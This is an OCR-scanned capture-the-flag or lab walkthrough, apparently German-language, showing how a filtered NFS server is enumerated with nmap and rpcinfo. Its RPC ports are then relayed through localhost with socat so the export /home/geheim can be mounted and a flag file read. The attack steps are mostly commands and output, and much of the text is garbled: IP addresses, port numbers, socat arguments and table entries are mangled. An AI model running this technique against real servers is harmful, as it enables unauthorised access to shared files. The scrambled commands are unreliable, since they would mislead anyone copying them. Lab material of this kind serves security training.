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bash # showmount —e 192.168.200.203

mount cintudp create: RCP: Port mapper failure — RPC: Unable to
receive

% )) % *



bash # nmap —sR —p 1-65535 192.168.200.203
Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-04
Interesting ports on ubuntu-vm (192.168.200.203):
Not shown: 65530 closed ports

PORT
111/tcp
2049/tcp
51979/tcp
57543/tcp
60644/tcp

SiAE SERVICE
filtered rpcbind
open nfs
open nlockmgr
open mountd
open status

MAC Address: 00:0C:29:1D:50:0C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 12.8

fras oo @

VERSION

2-4 (rpc #100003)
1-4 (rpc #100021)
1-3 (rpc #100005)
1 (rpc #100024)

98 seconds




bash # nmap —sUR —p 1-65535 192.168.200.203

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-04 09:39 UTC
Interesting ports on ubuntu-vm (192.168.200.203):

PORT SiAa b SERVICE VERSION
68/udp openlfiltered dhcpc

111/udp closed rpcbind

806/udp openlfiltered unknown

2049/udp open nfs 2-4 (rpc #100003)
5353/udp openlfiltered zeroconf

44139/udp open status 1 (rpc #100024)
49456/udp openlfiltered unknown

52663/udp open nlockmgr 1-4 (rpc #100021)
55545/udp open mountd 1-3 (rpc #100005)
MAC Address: 00:0C:29:1D:50:0C (Vmware)
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& 661A31;<3993906 6& %

program vers proto port
100000 tcp 111 portmapper
100024 udp 44139 status
100024 tcp 60644 status
100021 tcp 51979 nlockmgr

100021 udp 52663 nlockmgr
100003 icp 2049 nfs
100003 e 2049 nfs
100003 tcp 2049 nfs

... output shortened
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PORT SERVICE VERSION

2049/ nfs 24 (rpc # 100003)
52663/udp nlockmgr 1-4 (rpc #100021)
55545/udp mountd 1-3 (rpc #100005)

2049/ nfs 2-4 (rpc # 100003 )
51979/tcp nlockmgr 1-4 (rpc #100021)
57543/tcp mountd 1-3 (rpc #100005)

& % #& & $ % *
#HB & % * %S

# RPC-NUMBER NES-VERSION PROTOCOIL PORT SERVICE
100003 2049
100003 2049
100003 2049

100003 2049
100003 2049
100003 2049




& & &% #& & $

# RPC-NUMBER NFS-VERSION PROTOCOL PORT SERVICE
100000 tcp 111 portmapper
100000 udp 111 portmapper
100003 tcp 2049 nfs

100003 tcp 2049 nfs

100003 tcp 2049 nfs

100003 udp 2049 nfs
100003 udp 2049 lis
100003 udp 2049 nfs
100005 tcp 57543 mountd
100005 tcp 57543 mountd
100005 tcp 57643 mountd
100005 udp Bohih mountd
100005 udp b5b45 mountd
100005 udp 55545 mountd
100021 tcp 51979 nlockmgr
100021 tcp 51979 nlockmgr
100021 tcp 51979 nlockmgr
100021 tcp 51979 nlockmgr
100021 udp 52663 nlockmgr
100021 udp 52663 nlockmgr
100021 udp 52663 nlockmgr
100021 udp 52663 nlockmgr
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bash # portmap
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bash # rpcinfo —p 127.0.0.1

program vers proto port
100000 tcp 111 portmapper
100024 udp 44139 status
100024 tcp 60644 status

100021 tcp 51979 nlockmgr
100021 udp 52663 nlockmgr
100003 tcp 2049 nfs
100003 tcp 2049 nfs
100003 ch . 2040 nfe

... output shortened
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PORT SERVICE VERSION

2049 / nfs 2-4 (rpc #100003)
bbb | nlockmagr 1-4 (rpc #100021)
55545/ mountd 1-3 (rpc #100005)

2049/ nfs 2-4 (rpc #100003)
51979/ nlockmgr 1-4 (rpc #100021)
hibdo |/ mountd 1-3 (rpc #100005)

& % ) 0 &

# nfs service TCP,UDP

socat 4-listen: 2049 fork d-cpiihect 199 188700 908 2040 &
socat 4-listen: 2049 fork 4-connect:  192.1638.200.203 : 2049 &
# mountd service TCP,UDP

socat 4-listen: 51543 fork 4-connect: 192168200203  5/543 &
socat 4-listen: 55545 fork 4-connect: 192.168.200203 55545 &
# nlockmgr TCP,UDP

socat 4-listen: 51979 fork deconnect 2068 00 208 - 1070 &
socat 4-listen: 52663 fork d-connecl 192168007902 2 SJ0hS &
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bash # showmount —e 127.0.0.1
Exnortlistior 12700 1

/home/geheim *

+
bash # mount —t nfs 127.0.0.1:/home/geheim /mnt

, ) %

bash # cat /mnt/geheim-5022.txt
Gratuliere, du hast den NES Case gelost!
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